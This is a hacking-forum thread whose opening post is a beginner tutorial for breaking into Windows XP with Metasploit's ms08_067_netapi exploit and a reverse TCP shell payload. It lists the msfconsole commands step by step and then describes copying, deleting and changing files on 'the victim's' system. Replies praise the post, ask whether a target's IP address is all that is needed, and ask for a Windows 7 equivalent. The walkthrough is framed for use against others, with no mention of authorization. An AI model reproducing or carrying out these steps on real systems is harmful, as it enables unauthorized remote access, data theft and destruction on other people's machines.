Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] ★ Hack Windows XP using Backtrack 5 ★[PICS]

Hello Hack Forums, Today Iam going to explain how to Hack into a Windows XP using Backtrack5. This tutorial is specially for the newbies and I have explained accordingly in a Noobish manner.

NOTE: Before reading the tutorial please make sure you have atleast basic knowledge about Backtrack5.

Requirements: VM Ware, BT, Windows XP Virtual Machine & A bit of concentration.

Lets begin.

-Start Backtrack
-Type "Startx" To enter GUI mode of Backtrack.

Step I- Open terminal and write msfconsole
msf > msfconsole


[Image: C3B5JpM.jpg]


When you open msfconsole ,it will show this type of interface

[Image: MFiPNx1.jpg]

Step II- In this step , first set the payload to set payload write
msf > set payload windows/shell/reverse_tcp

[Image: JDdmZ78.jpg]

Step III- Here, set the exploit. Write as shown below -
msf > set exploit/windows/smb/ms08_067_netapi

[Image: yMCjgUd.jpg]

Step IV- Now set lhost and rhost , Here lhost is the local host and rhost is the remote host .See the above image how I set lhost & rhost.

[Image: PW7vP0u.jpg]

Setting Local Host

Syntax: set lhost <our own address>
Code
Example:

msf > exploit(ms08_067_netapi) >lhost 192.168.127.131

Setting Remote Host
Code
Syntax : set rhost <Remote or target ip address>
Example :
  msf > exploit(ms08_067_netapi)>rhost 192.168.127.129

Step V; Now Enter show options

[Image: tOOAql9.jpg]

Code
msf > exploit(ms08_067_netapi)> show options

Step VI; In this step it shows the LHOST(Local Host) AND RHOST(Remote Host) Settings.

[Image: 0qy2w4D.jpg]

Step VII- Exploit : In this step we are ready to exploit the Target .
To start exploit give the command :-

Code
msf > exploit(ms08_067_netapi)>exploit

Exploit will be successfully executed. You can see the below mage . In the image windows shell is showing on Backtrack 5.

[Image: UMJfskJ.jpg]

Example I- Above you can see both the Operating System.You can see the windows Xp directories are showing in Backtrack 5 also.

EXAMPLE II- Here we make a new directory on Backtrack 5 using md command. We made a insanehax0r directory as shown on both Operating System.

[Image: 7XuBf6X.jpg]


We can also use
systeminfo command to see the system information of windows xp.If you know how to use DOS, you can do anything with the victim's operating system, such as:

● You can copy files.
● You can delete files,
● You can create a new directory.
● You can make changes in his system.

Info Source I & Info Source II & Our very own Hackforums :D

Shout outs to >> Chetan Soni & Lev Russia !!

For any kind of query feel free to Post here. Please do not PM me as I do not have enough space yet OR Add me on skype insane_hax0r

Pretty simple tutorial for beginners. But on the other hand you also could explain WHY your doing what you're doing. Like why you chose the reverse tcp payload "set payload windows/shell/reverse_tcp" since it works better than bind payloads, what service you chose to exploit by scanning the windows XP machine in the first place. Doing something good and KNOWING what you're doing is the difference between being a script kiddie and a decent hacker.
I've 'reported' your thread to be moved in the appropriate section as you requested here-
https://hackforums.net/showthread.php?tid=3205942

But try NOT to post useless threads just to move your thread. You can always contact 'moderators' and 'staff' for this. While you've our own 'report' function too. I did that for you bhai. ;)
Hare Krishna
[Image: 0ZYE44T.jpg]
(Jan 25, 2013 08:10 PM)๖ۣۜDante Wrote:  I've 'reported' your thread to be moved in the appropriate section as you requested here-
https://hackforums.net/showthread.php?tid=3205942

But try NOT to post useless threads just to move your thread. You can always contact 'moderators' and 'staff' for this. While you've our own 'report' function too. I did that for you bhai. ;)

Ok sure, thanks bro will make sure nothing as such happens next time :D
seems u spent quite a time preparing this, nicely explained
GOOD JOB
I use the same method
(Jan 25, 2013 06:52 PM)DsntExist Wrote:  Pretty simple tutorial for beginners. But on the other hand you also could explain WHY your doing what you're doing. Like why you chose the reverse tcp payload "set payload windows/shell/reverse_tcp" since it works better than bind payloads, what service you chose to exploit by scanning the windows XP machine in the first place. Doing something good and KNOWING what you're doing is the difference between being a script kiddie and a decent hacker.

First of all thanks for the honest review, this tells youve read the tutorial thoroughly.

This is my first tutorial btw so I couldnt be very detailed as I myself learnt this a week ago so just wanted to give back to HF asap, but next time I will make sure its more detailed with whys and hows.

Thanks bro. :)
Very nice tutorial, but this only works when the XP machine is on a LAN, doesn't it?
(Jan 26, 2013 02:07 AM)Sonic Boom Wrote:  Very nice tutorial, but this only works when the XP machine is on a LAN, doesn't it?

Yes bro thats necessary, youre right 😉
good tutorial friend thanks, do you have same thing for win7 64 bit?
(Jan 26, 2013 02:25 AM)axmetmcl Wrote:  good tutorial friend thanks, do you have same thing for win7 64 bit?

No brother, its different.

Check here :)
(Jan 25, 2013 11:09 PM)Bohemia Wrote:  Ok sure, thanks bro will make sure nothing as such happens next time :D

Hmm. You can also checkout my thread too that I've posted yesterday. ;)
https://hackforums.net/showthread.php?tid=3202618

Regards.

-Dante 🎉
Hare Krishna
[Image: 0ZYE44T.jpg]
So it works directly and no need to send a server etc? only thing needed is his/her IP adress? any idea about windows 7 ?
(Jan 26, 2013 02:45 AM)Bohemia Wrote:  No brother, its different.

Check here :)

thanks a lot again bro:) could i talk with you on PM sometimes?
(Jan 26, 2013 04:27 AM)๖ۣۜDante Wrote:  Hmm. You can also checkout my thread too that I've posted yesterday. ;)
https://hackforums.net/showthread.php?tid=3202618

Regards.

-Dante 🎉

Sure bro I will ASAP.

Add me on skype insane_hax0r


(Jan 26, 2013 05:32 AM)axmetmcl Wrote:  thanks a lot again bro:) could i talk with you on PM sometimes?

Why not, thats not a problem buddy. Feel free to do so!


(Jan 26, 2013 05:06 AM)metalhck Wrote:  So it works directly and no need to send a server etc? only thing needed is his/her IP adress? any idea about windows 7 ?

Yes direct.

Windows 7 is different, you can refer to my reply to axmetmcl.
Thank you for taking your time making this tut, appreciate it!


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
by SunrizeMar 1, 2018 10:09 PM 8 606 Mar 1, 2018 10:09 PM
Last Post: AKIER
by -b*Pawn*Z-Jan 13, 2017 02:33 AM 43 4,178 Jan 13, 2017 02:33 AM
Last Post: EvilL0rd